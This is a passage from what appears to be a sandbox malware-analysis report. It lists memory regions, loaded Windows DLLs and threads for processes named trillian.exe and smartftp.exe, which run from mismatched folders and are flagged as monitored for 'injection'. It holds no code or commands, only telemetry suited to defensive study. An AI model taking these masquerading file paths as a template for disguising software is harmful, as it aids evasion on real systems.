"c:\\windows\\syswow64\\sspicli.dll") Region: id = 5324 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 5325 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 5326 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 5327 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 5328 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 5329 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 5330 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 5331 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 5332 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 5333 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 5334 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 5335 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 5336 start_va = 0x7f100000 end_va = 0x7f1fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f100000" filename = "" Region: id = 5337 start_va = 0x7f200000 end_va = 0x7f222fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f200000" filename = "" Region: id = 5338 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5339 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 5340 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5341 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5342 start_va = 0x8b0000 end_va = 0x8b3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 5343 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 5344 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5345 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 5346 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 5347 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 5348 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5349 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 5350 start_va = 0x2130000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 5351 start_va = 0x21b0000 end_va = 0x24e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 245 os_tid = 0xe30 Thread: id = 246 os_tid = 0xe28 Thread: id = 386 os_tid = 0x590 Process: id = "52" image_name = "trillian.exe" filename = "c:\\program files\\microsoft.net\\trillian.exe" page_root = "0x7acb6000" os_pid = "0xf3c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Microsoft.NET\\trillian.exe\" " cur_dir = "C:\\Program Files\\Microsoft.NET\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4017 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4018 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4019 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4020 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4021 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4022 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4023 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4024 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4025 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4026 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4027 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4028 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4029 start_va = 0x5e0000 end_va = 0x767fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4030 start_va = 0x770000 end_va = 0x8f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4031 start_va = 0x9d0000 end_va = 0x9d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 4032 start_va = 0x9e0000 end_va = 0xa9bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 4033 start_va = 0xaa0000 end_va = 0xaa3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000aa0000" filename = "" Region: id = 4034 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 4035 start_va = 0xbc0000 end_va = 0xcbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 4036 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 4037 start_va = 0xfc0000 end_va = 0xfd6fff monitored = 0 entry_point = 0xfc14a1 region_type = mapped_file name = "trillian.exe" filename = "\\Program Files\\Microsoft.NET\\trillian.exe" (normalized: "c:\\program files\\microsoft.net\\trillian.exe") Region: id = 4038 start_va = 0xfe0000 end_va = 0x23dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 4039 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4040 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4041 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4042 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4043 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4044 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4045 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4046 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4047 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4048 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4049 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4050 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4051 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4052 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4053 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4054 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4055 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4056 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4057 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4058 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4059 start_va = 0x7f6a0000 end_va = 0x7f79ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f6a0000" filename = "" Region: id = 4060 start_va = 0x7f7a0000 end_va = 0x7f7c2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f7a0000" filename = "" Region: id = 4061 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4062 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4063 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4064 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 4065 start_va = 0xab0000 end_va = 0xab3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 4066 start_va = 0xac0000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ac0000" filename = "" Region: id = 4067 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 4068 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4069 start_va = 0x4e0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 4070 start_va = 0xae0000 end_va = 0xae0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 4071 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 4072 start_va = 0xaf0000 end_va = 0xaf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 4073 start_va = 0xaf0000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 4074 start_va = 0x23e0000 end_va = 0x2716fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 247 os_tid = 0xf50 Thread: id = 248 os_tid = 0xf40 Thread: id = 365 os_tid = 0x230 Process: id = "53" image_name = "smartftp.exe" filename = "c:\\program files (x86)\\microsoft sql server\\smartftp.exe" page_root = "0x6bf70000" os_pid = "0xf20" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Microsoft SQL Server\\smartftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft SQL Server\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4130 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4131 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4132 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4133 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4134 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 4135 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 4136 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 4137 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 4138 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4139 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4140 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 4141 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 4142 start_va = 0x5e0000 end_va = 0x767fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 4143 start_va = 0x770000 end_va = 0x8f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4144 start_va = 0xb00000 end_va = 0xb16fff monitored = 0 entry_point = 0xb014a1 region_type = mapped_file name = "smartftp.exe" filename = "\\Program Files (x86)\\Microsoft SQL Server\\smartftp.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\smartftp.exe") Region: id = 4145 start_va = 0xb20000 end_va = 0xb23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 4146 start_va = 0xb30000 end_va = 0xbebfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 4147 start_va = 0xbf0000 end_va = 0xbf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bf0000" filename = "" Region: id = 4148 start_va = 0xc10000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 4149 start_va = 0xd10000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 4150 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 4151 start_va = 0x2360000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 4152 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 4153 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 4154 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 4155 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 4156 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 4157 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 4158 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 4159 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 4160 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 4161 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 4162 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 4163 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 4164 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 4165 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 4166 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 4167 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 4168 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 4169 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 4170 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 4171 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 4172 start_va = 0x7e5d0000 end_va = 0x7e6cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e5d0000" filename = "" Region: id = 4173 start_va = 0x7e6d0000 end_va = 0x7e6f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e6d0000" filename = "" Region: id = 4174 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4175 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 4176 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4177 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5926 start_va = 0xc00000 end_va = 0xc03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 5927 start_va = 0x2110000 end_va = 